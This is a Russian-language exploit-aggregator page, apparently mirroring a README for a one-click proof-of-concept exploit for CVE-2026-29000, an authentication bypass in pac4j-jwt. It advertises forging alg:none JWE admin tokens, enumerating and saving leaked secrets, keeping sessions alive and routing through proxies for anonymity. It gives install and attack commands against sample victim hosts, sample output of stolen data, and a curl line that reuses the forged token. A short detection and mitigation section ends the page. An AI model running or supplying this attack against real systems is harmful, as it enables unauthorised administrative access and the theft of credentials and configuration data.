## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TC4DY-CVE-2026-29000-POC-EXPLOIT
# 🚀 CVE-2026-29000 - эксплойт обхода аутентификации pac4j-jwt
   
> **CVE-2026-29000** \- создание администратора в один клик через JWT alg:none + JWE-шифрование
## 📌 Обзор
Этот эксплойт задействует **CVE-2026-29000** — критическую уязвимость с рейтингом CVSS 10.0 в библиотеке **pac4j-jwt**. Извлекая открытый JWKS-ключ сервера и подделывая зашифрованный JWE-токен с `alg: none`, он обеспечивает полный обход аутентификации и выдаёт полные административные привилегии в один клик.
### 🔥 Ключевые возможности
* ✅ **Аутентификация не требуется** \- эксплуатация до аутентификации, действительные учётные данные не нужны
* ✅ **Автоматическое обнаружение JWKS** \- сканирует 15+ эндпоинтов, поддержка пользовательских путей
* ✅ **Извлечение RSA-ключа** \- получает открытый ключ, конвертирует JWK→PEM на лету
* ✅ **Подделка JWT + JWE** \- создаёт JWT с `alg:none`, оборачивает в открытый ключ сервера
* ✅ **Полный администраторский токен** \- ROLE_ADMIN, admin:true, настраиваемый срок действия
* ✅ **Обход аутентификации** \- автоматически проверяет 8+ защищённых эндпоинтов
* ✅ **Интеллектуальная утечка информации** \- перебирает 20+ чувствительных API-путей
* ✅ **Постоянство сессии** \- поток keep-alive поддерживает доступ
* ✅ **Поддержка прокси** \- HTTP/HTTPS-прокси для анонимности
* ✅ **Экспорт в файл** \- сохраняет подделанный токен и утёкшие данные в файлы
* ✅ **Механизм повторов** \- настраиваемые повторы для нестабильных соединений
* ✅ **Цветной вывод** \- профессиональная поэтапная визуальная обратная связь
* ✅ **Подробный режим** \- отладочное логирование для диагностики
* ✅ **Без жёстко заданных задержек** \- только паузы при повторах и keep-alive пинги
## 🎯 Уязвимые версии
Библиотека| Затронутые версии| Исправленные версии
---|---|---
pac4j-jwt| < 5.1.5| ≥ 5.1.5
pac4j-jwt| 4.x < 4.5.8| ≥ 4.5.8
pac4j-jwt| 3.x < 3.18.6| ≥ 3.18.6
> ⚠️ **Отказ от ответственности** : Этот инструмент предназначен только для авторизованного тестирования безопасности и red-team мероприятий.
## 📦 Установка
root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 Использование
Базовый одношаговый эксплойт
bash
python exploit.py --target https://victim.com:8443
Сохранение подделанного токена и утёкших данных
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Подробный режим с пользовательским JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
С прокси и без keep-alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Пользовательский интервал keep-alive
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
Проверка SSL включена
bash
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ Аргументы командной строки
Аргумент Короткий Обязательный По умолчанию Описание
--target -t Да - Целевой URL (например, https://example.com:8443)
--jwks -k Нет автоопределение Пользовательский путь к эндпоинту JWKS
--output -o Нет None Сохранить подделанный JWE-токен в файл
--leak -l Нет leaked_TIMESTAMP.txt Сохранить утёкшие данные в файл
--verbose -v Нет False Включить отладочный вывод
--proxy -p Нет None HTTP/HTTPS-прокси
--user-agent -ua Нет Mozilla/5.0... Пользовательский User-Agent
--no-keep-alive - Нет False Отключить поддержание сессии (keep-alive)
--delay - Нет 5.0 Интервал keep-alive пинга (секунды)
--max-retries - Нет 3 Максимум повторов при сбое запроса
--ssl-verify - Нет False Проверять SSL-сертификаты
📸 Пример вывода
text
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
🧠 Как это работает
text
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
🔧 Ручное использование токена
После эксплуатации используйте сохранённый JWE-токен с curl:
bash
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ Обнаружение и смягчение последствий
Метод обнаружения Индикатор
Анализ журналов JWT с alg: none в журналах аудита
Сетевой мониторинг Запросы к эндпоинту JWKS с неизвестных IP-адресов
Проверка версии curl /actuator/info | grep pac4j
Меры по смягчению:
Обновите pac4j-jwt до исправленных версий (≥5.1.5, ≥4.5.8, ≥3.18.6)
Отключите поддержку alg: none в валидаторе JWT
Внедрите строгую проверку JWE
Отслеживайте аномальные структуры JWT